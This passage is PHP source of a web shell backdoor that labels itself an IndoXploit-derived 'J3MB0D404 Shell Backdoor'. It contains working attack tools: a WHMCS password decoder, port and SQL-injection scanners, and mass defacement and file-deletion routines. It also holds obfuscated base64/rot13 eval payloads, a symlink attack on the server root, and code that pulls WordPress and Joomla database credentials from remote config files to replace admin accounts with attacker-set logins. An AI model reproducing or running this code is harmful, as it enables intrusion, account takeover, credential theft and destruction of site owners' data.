NTIFNlcnZlciBQYXNzd29yZCBkZWNvZGVyIH5+IF08L2ZvbnQ+PGJyPjxicj4NCjxmb250IGNvbG9yPSIjMDA2NkZGIiBzaXplPScrMic+U3ltbGluayB0byBjb25maWd1cmF0aW9uLnBocCBvZiBXSE1DUzwvZm9udD48YnI+DQo8L2NlbnRlcj4NCjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+DQo8YnI+DQogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJmaWxlIiB2YWx1ZT0iIj4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KDQo8YnI+DQo8Y2VudGVyPg0KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5EQiBjb25maWd1cmF0aW9uIG9mIFdITUNTPC9mb250Pjxicj4NCjwvY2VudGVyPg0KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIyIj4NCjxicj4NCjx0YWJsZSBib3JkZXI9MT4NCg0KPHRyPjx0ZD5kYl9ob3N0IDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+DQo8dHI+PHRkPmRiX3Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl9wYXNzd29yZCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9uYW1lPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl9uYW1lIiB2YWx1ZT0iIj48dGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSIjMDA2NkZGIiBzaXplPScrMic+UGFzc3dvcmQgZGVjb2RlcjwvZm9udD48YnI+DQo8Pw0KIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAzICkNCiB7DQoNCg0KDQogJHBhc3N3b3JkPSgkX1BPU1RbJ3Bhc3N3b3JkJ10pOw0KDQogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7DQoNCg0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCg0KZWNobygiUGFzc3dvcmQgaXMgIi4kcGFzc3dvcmQpOw0KDQp9DQo/Pg0KPC9jZW50ZXI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjMiPg0KPGJyPg0KPHRhYmxlIGJvcmRlcj0xPg0KDQo8dHI+PHRkPlBhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJwYXNzd29yZCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPg0KDQo8L3RhYmxlPg0KPGJyPg0KPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIG5hbWU9IlN1Ym1pdCI+DQo8L0ZPUk0+DQo8aHI+DQoNCg0KICA8Y2VudGVyPiA8Zm9udCBjb2xvcj0iI0ZGRkY2RkYiIHNpemU9JysxJz4gICBDb2RlZCBCeSBSaW50byBBUiAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4=';
$file = fopen("whmcs-decoder.php","w+"); $write = fwrite ($file ,base64_decode($mrlolo)); $file = fopen("/","whmcs-decoder.php");
$rt="<br><a href=whmcs-decoder.php TARGET='_blank'>";
echo "<br><br><br><a href=whmcs-decoder.php TARGET='_blank'><b>Done.. !</a></b><br><br>$rt</center>";} echo "</form>";
}elseif($_GET['do'] == 'ports') {
echo '<table><tr><th><center><u>Port Scanner</u></tr></th></center><td>';
echo '<div class="content">';
echo '<form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
} else {
echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />';
echo '</div></table></td>';
}
} elseif($_GET['do'] == 'joomscan') {
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>'.$ip.'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
} elseif($_GET['do'] == 'decode') {
{$text = $_POST['code'];
?>
<center><br><br><b>Decode & Encode Script</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=20 rows=5 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;default:break;}}
echo '<textarea cols=10 rows=10 class="inputz" readonly>'.$codi.'</textarea></center><BR><BR>';
}
} elseif($_GET['do'] == 'sqli') {
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="green">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#006fff;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#006fff;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
} elseif($_GET['do'] == 'mass_deface') {
echo "<center><form action=\"\" method=\"post\">
";
$dirr=$_POST['d_dir'];
$index = $_POST["script"];
$index = str_replace('"',"'",$index);
$index = stripslashes($index);
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
}
else {
echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
}
}
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[<font color=lime>DELETED</font>] $lokasi<br>";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,'w');
fwrite($handle,'');
fwrite($handle,$index);
fclose($handle); } }
function gass(){
global $dirr , $index ;
chdir($dirr);
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$files = scandir($dirr) ;
$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
}
}
echo "<br>";
echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
}
function ListFiles($dirrall) {
if($dh = opendir($dirrall)) {
$files = Array();
$inner_files = Array();
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
if(is_dir($dirrall . "/" . $file)) {
$inner_files = ListFiles($dirrall . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dirrall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
function gass_all(){
global $index ;
$dirrall=$_POST['d_dir'];
foreach (ListFiles($dirrall) as $key=>$file){
$file = str_replace('//',"/",$file);
echo "<center><strong>$file</strong> ===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
function sabun_massal($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[<font color=lime>DONE</font>] $lokasi<br>";
file_put_contents($lokasi, $isi_script);
$idx = sabun_massal($dirc,$namafile,$isi_script);
}
}
}
}
}
}
if($_POST['mass'] == 'onedir') {
echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>
";
$ini="http://";
$mainpath=$_POST[d_dir];
$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){
$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){
echo"$ini$row/$file
";
}
}
echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>
";
$mainpath=$_POST[d_dir];$file=$_POST[d_file];
$dir=opendir("$mainpath");
$code=base64_encode($_POST[script]);
$indx=base64_decode($code);
while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
$finish=@fwrite($start,$indx);
if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
}
}
elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
elseif($_POST['mass'] == 'massdeface') {
echo "<div style='margin: 5px auto; padding: 5px'>";
sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "</div>"; }
else {
echo "
<center><font style='text-decoration: underline;'>
Select Type:<br>
</font>
<select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
<option value=\"onedir\">Mass Deface 1 Dir</option>
<option value=\"massdeface\">Mass Deface ALL Dir</option>
<option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
<option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
<option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Filename:</font><br>
<input type='text' name='d_file' value='xai.php' style='width: 450px;' height='10'><br>
<font style='text-decoration: underline;'>Index File:</font><br>
<textarea name='script' style='width: 450px; height: 200px;'>Hacked By Rinto AR</textarea><br>
<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center>";
}
} elseif($_GET['do'] == 'shellchk') {
eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUdaQttAED03Rf7DsE+KkdIktOJDiC0KV0MvlVVED41DtHjtroF1cI9M02jFf++scLtBKIceqJXIXvu9mTef0O9udwWwdopco4z6vXYucQnclBiyXJap4NpxGQOT6k/wkDEoRFuRhSwWVzPP0PigjVEDsTMpTeEylCGzTcen4ycsN1Y2V1I5SRadG8U2c7X5UToGqWMqPD4+ASnu6W4SWseNvXW6kdt/weNRUOqMRSFGyXOjOQO9jrE6lYVhWc7r051kCR1iiACXwjlTc31gETvr9/KESsHAI+qVl7mSqG/BFa5FkW5jqC2StiP41e8BXYcWDYWkINwytqcWaUmjlDY68SCSpLQMGtplZTuEQlD42CJwAsVTkj/iv7BwKa8EwIfYbDWD08GQKMuBfz+43YH5oAlNPZOb+kaRUNCqCeHDcdKGRTHvCkh1IT1kNV/MvixzWDZb/Li4Tay+Xl/P5qwxR6GfkixkhHJI/UGhlgusC9qIef0S04VrRAdLxm3dBryjyl/npSlcwNQasyK153hwhfCtw4a1jOHW00TH7mZUxb0sNCYzr7ZEOQLW7+1VzS19zlKMPGDWqMKN9IMmD8ywrt28MhYQfPjH8BCosI6Y7ZujLqeeJcII/hjRJGTt+1vI8FMi8uibVWvmG5F46scaBu9ud8BXzP1jjbrKqceNpJYLSht0+M917/NnXI0IjKMmwHRAp2Ov/id79X9dJWxWeC81nbxrPnz324EbB2aUaihuISU10MHbx7LTuP9cX3LK2Nj/RGCJTPRMdWv7Evd79PMlLpRPHRyuLi/mSsvBafPRfuisLdoKqrNWfKYo1ppAHtp6RROqrekZU1ezDprIdmSiVi011daiRFvbO11INV21ug51D7CXs/3KsnIVif1ypOtbnfMqCVrm5+hDmaJasEIOwd/9Bg=='))))));
} elseif($_GET['do'] == 'loghunter')
{eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
elseif($_GET['do'] == 'metu') {
echo '<form action="?dir=$dir&do=metu" method="post">';
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'Byee !';
}
elseif($_GET['do'] == 'about') {
echo '<center>J3MB0D404 Shell Backdoor<hr>IndoXploit Shell Recoded By Rinto AR<br>Akoh Tamvan Qaqa :v';
}
elseif($_GET['do'] == 'auto_wp') {
if($_POST['gass']) {
echo "<center><h1>WordPress Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' style='width: 450px; height:250px;'>";
UrlLoop($_POST['linkconf'],'wordpress');
echo"</textarea><br>
<input type='submit' style='width: 450px;' name='auto_wp' value='Hajar!!'>
</form></center>";
} else {
echo "<center><h1>WordPress Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/xai_config/'><br>
<input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
</form></center>";
}
if($_POST['auto_wp']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$user = "xaisyndicate";
$pass = "rintoar2234";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"DB_HOST', '","'");
$dbuser = ambilkata($config,"DB_USER', '","'");
$dbpass = ambilkata($config,"DB_PASSWORD', '","'");
$dbname = ambilkata($config,"DB_NAME', '","'");
$dbprefix = ambilkata($config,"table_prefix = '","'");
$prefix = $dbprefix."users";
$option = $dbprefix."options";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result[ID];
$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
$result2 = mysql_fetch_array($q2);
$target = $result2[option_value];
if($target == '') {
echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "<font color=blue>[</font> $target <font color=blue>]</font></font><br>";
}
$update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
if(!$conn OR !$db OR !$update) {
echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
mysql_close($conn);
} else {
echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
echo "[+] username: <font color=lime>$user</font><br>";
echo "[+] password: <font color=lime>$pass</font><br><br>";
mysql_close($conn);
}
}
}
}
elseif($_GET['do'] == 'auto_joomla') {
if($_POST['gass']) {
echo "<center><h1>Joomla Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<textarea name='link' style='width: 450px; height:250px;'>";
UrlLoop($_POST['linkconf'],'joomla');
echo"</textarea><br>
<input type='submit' style='width: 450px;' name='auto_joomla' value='Hajar!!'>
</form></center>";
} else {
echo "<center><h1>Joomla Auto Change User 2</h1>
<form method='post'>
Link Config: <br>
<input type='text' name='linkconf' height='10' size='50' placeholder='http://link.com/xai_config/'><br>
<input type='submit' style='width: 450px;' name='gass' value='Hajar!!'>
</form></center>";
}
if($_POST['auto_joomla']) {
function anucurl($sites) {
$ch = curl_init($sites);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIESESSION,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
$link = explode("
", $_POST['link']);
$user = "xaisyndicate";
$pass = "rintoar2234";
$passx = md5($pass);
foreach($link as $dir_config) {
$config = anucurl($dir_config);
$dbhost = ambilkata($config,"host = '","'");
$dbuser = ambilkata($config,"user = '","'");
$dbpass = ambilkata($config,"password = '","'");
$dbname = ambilkata($config,"db = '","'");
$dbprefix = ambilkata($config,"dbprefix = '","'");
$prefix = $dbprefix."users";
$conn = mysql_connect($dbhost,$dbuser,$dbpass);
$db = mysql_select_db($dbname);
$q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
$result = mysql_fetch_array($q);
$id = $result['id'];
$site = ambilkata($config,"sitename = '","'");
$update = mysql_query("UPDATE $prefix SET username='$user',password='$passx' WHERE id='$id'");
echo "Config => ".$dir_config."<br>";
echo "CMS => Joomla<br>";
if($site == '') {
echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
} else {
echo "Sitename => $site<br>";
}
if(!$update OR !$conn OR !$db) {
echo "Status => <font color=red>".mysql_error()."</font><br><br>";
} else {
echo "Status => Done , Username : <font color=lime>$user</font> Password : <font color=lime>$pass</font><br><br>";
}
mysql_close($conn);
}
}
}
elseif($_GET['do'] == 'symlink2') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("xai_sym",0777);
@chdir("xai_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex xai.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
